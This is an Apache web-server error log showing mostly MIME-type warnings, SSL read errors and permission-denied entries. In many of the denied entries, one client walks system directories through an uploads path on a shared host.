[Fri Jul 17 09:44:30.172554 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:30.264421 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:30.355350 2026] [core:error] [pid 2050572:tid 2050572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:04/subsystem/drivers/thermal/unbind
[Fri Jul 17 09:44:30.447206 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:30.631775 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/drivers/thermal/uevent
[Fri Jul 17 09:44:30.872447 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:30.903480 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:30.970194 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:40888] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:44:30.995079 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:31.091464 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup15/device/subsystem/drivers/serial/uevent
[Fri Jul 17 09:44:31.274010 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:31.364903 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:31.458796 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:31.557802 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:31.731050 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:31.823020 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:31.823420 2026] [core:crit] [pid 2050582:tid 2050582] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/lost+found/' is executable
[Fri Jul 17 09:44:31.824023 2026] [authz_core:error] [pid 2050582:tid 2050582] [client 216.73.216.245:0] AH01630: client denied by server configuration: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/error_log
[Fri Jul 17 09:44:32.101427 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:32.191672 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:32.290780 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:32.406473 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:32.606735 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:32.711163 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:32.916286 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:33.015958 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:33.268454 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:33.341860 2026] [core:crit] [pid 2050582:tid 2050582] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/root/' is executable
[Fri Jul 17 09:44:33.349687 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:33.413848 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:33.440727 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:33.659149 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:33.750425 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:33.913191 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:34.024362 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:34.096044 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:53656] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:44:34.207959 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:34.294891 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:34.295369 2026] [core:crit] [pid 2050581:tid 2050581] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/fdinfo/' is executable
[Fri Jul 17 09:44:34.531162 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:34.575068 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:34.658306 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:34.750657 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:34.764110 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:53678] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:44:34.844151 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:35.181662 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:35.267507 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:35.365089 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:35.455329 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:35.564447 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:35.735274 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:35.881841 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:35.920850 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:36.083317 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:36.287222 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:36.382723 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:36.535616 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:36.657961 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:36.746865 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:36.950691 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:36.985076 2026] [security2:error] [pid 2050572:tid 2050572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/share/themes/"] [unique_id "almsLGuF39UwWB2KWdbShQAAAA8"]
[Fri Jul 17 09:44:36.985109 2026] [security2:error] [pid 2050572:tid 2050572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/share/themes/"] [unique_id "almsLGuF39UwWB2KWdbShQAAAA8"]
[Fri Jul 17 09:44:37.028044 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:37.124085 2026] [core:error] [pid 2047046:tid 2047046] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/LNXPWRBN:00/driver/uevent
[Fri Jul 17 09:44:37.215554 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:37.315517 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:37.357929 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:53798] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:44:37.498963 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:53800] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:44:37.502360 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:37.520177 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:37.586995 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:37.677545 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:38.191889 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:38.242194 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:38.391713 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:38.542054 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:38.606685 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:38.788660 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:38.879241 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:38.921866 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:38.970540 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:39.061395 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:39.245026 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:39.315475 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:39.335772 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:39.511111 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:39.517922 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:39.790979 2026] [core:error] [pid 2047046:tid 2047046] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/kernel/slab/x86_lbr/slabs
[Fri Jul 17 09:44:39.913472 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:39.973300 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0C0F:04/subsystem/drivers/ac/unbind
[Fri Jul 17 09:44:40.169032 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:40.169610 2026] [security2:error] [pid 2050576:tid 2050576] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/kmod/"] [unique_id "almsMJuhBssQvDAz4zCqiQAAABI"]
[Fri Jul 17 09:44:40.169636 2026] [security2:error] [pid 2050576:tid 2050576] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/kmod/"] [unique_id "almsMJuhBssQvDAz4zCqiQAAABI"]
[Fri Jul 17 09:44:40.352556 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:40.428466 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:40.667179 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:40.884907 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:41.075218 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/LNXSYBUS:00/PNP0A03:00/device:04/subsystem/uevent
[Fri Jul 17 09:44:41.276114 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:41.298772 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:45870] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:44:41.356027 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:41.460494 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:41.538895 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:41.638451 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:41.698649 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:45914] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:44:41.725678 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:41.815512 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:41.909062 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:42.001379 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/platform/i8042/subsystem/drivers/clk-st/uevent
[Fri Jul 17 09:44:42.090508 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:42.185384 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/QEMU0002:00/subsystem/drivers/clk-lpss-atom/unbind
[Fri Jul 17 09:44:42.276106 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:42.549220 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:42.753067 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:42.769575 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:45990] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:44:42.863119 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:43.003803 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:43.003983 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:43.087407 2026] [security2:error] [pid 2039911:tid 2039911] [client 49.149.120.174:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/monarchdss-global": Permission denied [hostname "monarchdss.com"] [uri "/xmlrpc.php"] [unique_id "almsMpBVIrrUwtEhdafaOQAAAAU"]
[Fri Jul 17 09:44:43.087442 2026] [security2:error] [pid 2039911:tid 2039911] [client 49.149.120.174:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/monarchdss-ip": Permission denied [hostname "monarchdss.com"] [uri "/xmlrpc.php"] [unique_id "almsMpBVIrrUwtEhdafaOQAAAAU"]
[Fri Jul 17 09:44:43.094085 2026] [core:error] [pid 2047046:tid 2047046] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/kernel/slab/TCPv6/reclaim_account
[Fri Jul 17 09:44:43.102291 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:43.367837 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/LNXCPU:01/subsystem/drivers/hpet/unbind
[Fri Jul 17 09:44:43.458495 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:43.576764 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:43.640109 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:43.731992 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:43.913137 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:44.004359 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:44.094860 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:44.188400 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/fs/cgroup/cpuacct/lve1039/cpu.rt_period_us"] [unique_id "almsNLoj0IkvhSCYadmK_gAAAAQ"]
[Fri Jul 17 09:44:44.188439 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/fs/cgroup/cpuacct/lve1039/cpu.rt_period_us"] [unique_id "almsNLoj0IkvhSCYadmK_gAAAAQ"]
[Fri Jul 17 09:44:44.291354 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:44.459139 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:44.555457 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:44.636109 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:44.641974 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:44.731887 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:20/subsystem/drivers/hpet/unbind
[Fri Jul 17 09:44:44.825311 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:44.853004 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 47.82.54.34:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:26/subsystem/ttyS0/device/driver/bind
[Fri Jul 17 09:44:44.898374 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:44.915578 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:45.415268 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:46124] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:44:45.467819 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:45.651113 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:45.736645 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:45.919254 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:46.011472 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:46.100747 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:46.191432 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:08/subsystem/drivers/battery/uevent
[Fri Jul 17 09:44:46.286005 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:06/subsystem/drivers/battery/uevent
[Fri Jul 17 09:44:46.376758 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:46.648879 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:46.738614 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:46.830361 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:46.922933 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:47.011840 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:47.252980 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:47.285253 2026] [core:error] [pid 2050581:tid 2050581] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/virtio-pci/remove_id
[Fri Jul 17 09:44:47.467708 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/bus/acpi/drivers/battery/unbind
[Fri Jul 17 09:44:47.629779 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:47.648270 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/LNXSYSTM:00/subsystem/drivers/battery/unbind
[Fri Jul 17 09:44:47.738423 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:08/subsystem/drivers/thermal/uevent
[Fri Jul 17 09:44:47.830416 2026] [core:error] [pid 2050581:tid 2050581] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:06/subsystem/drivers/thermal/uevent
[Fri Jul 17 09:44:48.019437 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:48.106316 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:48.195430 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:48.468137 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:48.597562 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:48.653244 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:48.742414 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup7/device/subsystem/drivers/hpet/uevent
[Fri Jul 17 09:44:48.929970 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:1c/subsystem/drivers/battery/uevent
[Fri Jul 17 09:44:49.107289 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:49.197679 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:14/subsystem/drivers/hpet/unbind
[Fri Jul 17 09:44:49.379850 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/LNXSYSTM:00/subsystem/drivers/thermal/unbind
[Fri Jul 17 09:44:49.471845 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/QEMU0002:00/subsystem/drivers/dw-apb-uart/unbind
[Fri Jul 17 09:44:49.562187 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:49.652603 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:49.838447 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
